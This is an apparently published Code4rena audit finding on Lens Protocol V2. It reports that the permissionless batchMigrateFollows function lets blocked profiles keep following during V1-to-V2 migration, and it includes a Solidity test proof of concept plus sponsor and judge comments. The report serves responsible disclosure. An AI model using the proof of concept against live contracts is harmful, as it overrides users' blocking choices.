Lens Protocol V2 - klau5's results

An open technology stack, builders can create social front-ends or integrate Lens social capabilities.

General Information

Platform: Code4rena

Start Date: 17/07/2023

Pot Size: $85,500 USDC

Total HM: 11

Participants: 26

Period: 14 days

Judge: Picodes

Total Solo HM: 1

Id: 263

League: ETH

Lens Protocol

Findings Distribution

Researcher Performance

Rank: 5/26

Findings: 1

Award: $3,458.78

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: klau5

Also found by: Emmanuel

Labels

bug
2 (Med Risk)
primary issue
satisfactory
selected for report
sponsor confirmed
M-11

Awards

3458.7772 USDC - $3,458.78

External Links

Lines of code

https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/misc/LensV2Migration.sol#L37-L43 https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/libraries/MigrationLib.sol#L114-L139 https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/FollowNFT.sol#L480-L520

Vulnerability details

Impact

Blocked followers can follow by batchMigrateFollows.

Proof of Concept

You can migrate V1 followers by calling the LensV2Migration.batchMigrateFollows function, which can be called by anyone.

function batchMigrateFollows(
    uint256[] calldata followerProfileIds,
    uint256[] calldata idsOfProfileFollowed,
    uint256[] calldata followTokenIds
) external {
    MigrationLib.batchMigrateFollows(followerProfileIds, idsOfProfileFollowed, followTokenIds);
}

https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/misc/LensV2Migration.sol#L37-L43

function _migrateFollow(
    uint256 followerProfileId,
    uint256 idOfProfileFollowed,
    uint256 followTokenId
) private {
    uint48 mintTimestamp = FollowNFT(StorageLib.getProfile(idOfProfileFollowed).followNFT).tryMigrate({
        followerProfileId: followerProfileId,
        followerProfileOwner: StorageLib.getTokenData(followerProfileId).owner,
        idOfProfileFollowed: idOfProfileFollowed,
        followTokenId: followTokenId
    });
    // `mintTimestamp` will be 0 if:
    // - Follow NFT was already migrated
    // - Follow NFT does not exist or was burnt
    // - Follower profile Owner is different from Follow NFT Owner
    if (mintTimestamp != 0) {
        emit Events.Followed({
            followerProfileId: followerProfileId,
            idOfProfileFollowed: idOfProfileFollowed,
            followTokenIdAssigned: followTokenId,
            followModuleData: '',
            processFollowModuleReturnData: '',
            timestamp: mintTimestamp // The only case where this won't match block.timestamp is during the migration
        });
    }
}

https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/libraries/MigrationLib.sol#L114-L139

The FollowNFT.tryMigrate is where the actual migration logic proceed. FollowNFT.tryMigrate does not check whether the followerProfileId has been blocked by the idOfProfileFollowed.

function tryMigrate(
    uint256 followerProfileId,
    address followerProfileOwner,
    uint256 idOfProfileFollowed,
    uint256 followTokenId
) external onlyHub returns (uint48) {
    // Migrated FollowNFTs should have `originalFollowTimestamp` set
    if (_followDataByFollowTokenId[followTokenId].originalFollowTimestamp != 0) {
        return 0; // Already migrated
    }

    if (_followedProfileId != idOfProfileFollowed) {
        revert Errors.InvalidParameter();
    }

    if (!_exists(followTokenId)) {
        return 0; // Doesn't exist
    }

    address followTokenOwner = ownerOf(followTokenId);

    // ProfileNFT and FollowNFT should be in the same account
    if (followerProfileOwner != followTokenOwner) {
        return 0; // Not holding both Profile & Follow NFTs together
    }

    unchecked {
        ++_followerCount;
    }

    _followTokenIdByFollowerProfileId[followerProfileId] = followTokenId;

    uint48 mintTimestamp = uint48(StorageLib.getTokenData(followTokenId).mintTimestamp);

    _followDataByFollowTokenId[followTokenId].followerProfileId = uint160(followerProfileId);
    _followDataByFollowTokenId[followTokenId].originalFollowTimestamp = mintTimestamp;
    _followDataByFollowTokenId[followTokenId].followTimestamp = mintTimestamp;

    super._burn(followTokenId);
    return mintTimestamp;
}

https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/FollowNFT.sol#L480-L520

Let's think the case that the idOfProfileFollowed profile blocked the followerProfileId when the follower has not yet migrated. In this case, if the owner of the followerProfileId or anyone else calls LensV2Migration.batchMigrateFollows, then the blocked followerProfileId can follow the idOfProfileFollowed.

The following codes are the PoC codes. Add and modify https://github.com/code-423n4/2023-07-lens/blob/main/test/migrations/Migrations.t.sol to run PoC.

First, modify the test because it is broken due to a change of the return value of getProfile. Add the following interface at Migrations.t.sol test file.

interface LensHubV1 {
    struct ProfileV1 {
        uint256 pubCount; // offset 0
        address followModule; // offset 1
        address followNFT; // offset 2
        string __DEPRECATED__handle; // offset 3
        string imageURI; // offset 4
        string __DEPRECATED__followNFTURI;
    }

    function getProfile(uint256 profileId) external view returns (ProfileV1 memory);
}

Also modify the following code to recover broken tests. https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/test/migrations/Migrations.t.sol#L107

address followNFTAddress = LensHubV1(address(hub)).getProfile(idOfProfileFollowed).followNFT;

Add this test function at MigrationsTest contract and run. Even after being blocked, it is possible to follow through batchMigrateFollows.

function testMigrateBlockedFollowerPoC() public onlyFork {
    uint256 idOfProfileFollowed = 8;

    uint256[] memory idsOfProfileFollowed = new uint256[](10);
    uint256[] memory followTokenIds = new uint256[](10);
    bool[] memory blockStatuses = new bool[](10);

    for (uint256 i = 0; i < 10; i++) {
        uint256 followTokenId = i + 1;

        idsOfProfileFollowed[i] = idOfProfileFollowed;
        followTokenIds[i] = followTokenId;

        blockStatuses[i] = true;
    }

    // block followers
    address targetProfileOwner = hub.ownerOf(idOfProfileFollowed);
    vm.prank(targetProfileOwner);

    hub.setBlockStatus(
        idOfProfileFollowed,
        followerProfileIds,
        blockStatuses
    );

    // check block status
    assertEq(hub.isBlocked(followerProfileIds[0], idOfProfileFollowed), true);

    // migrate
    hub.batchMigrateFollows(followerProfileIds, idsOfProfileFollowed, followTokenIds);

    // check follow work 
    address followNFTAddress = LensHubV1(address(hub)).getProfile(idOfProfileFollowed).followNFT;
    assertEq(FollowNFT(followNFTAddress).isFollowing(followerProfileIds[0]), true); // blocked, but followed!
}

At FollowNFT.tryMigrate function, If the follower is blocked, make it unfollowed.

Assessed type

Invalid Validation

#0 - vicnaum

2023-08-08T17:16:41Z

This looks like a subset of #112

#1 - c4-sponsor

2023-08-08T17:26:51Z

vicnaum marked the issue as sponsor confirmed

#2 - c4-judge

2023-08-28T16:11:22Z

Picodes marked the issue as satisfactory

#3 - Picodes

2023-08-28T16:12:10Z

Although the impact is similar it doesn't look like a duplicate to me as this is specifically about a blocked user being able to migrate himself, whereas #112 is about an attacker migrating someone without its consent

#4 - c4-judge

2023-09-01T14:31:49Z

Picodes marked the issue as selected for report

#5 - c4-judge

2023-09-03T17:13:41Z

Picodes marked the issue as primary issue

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter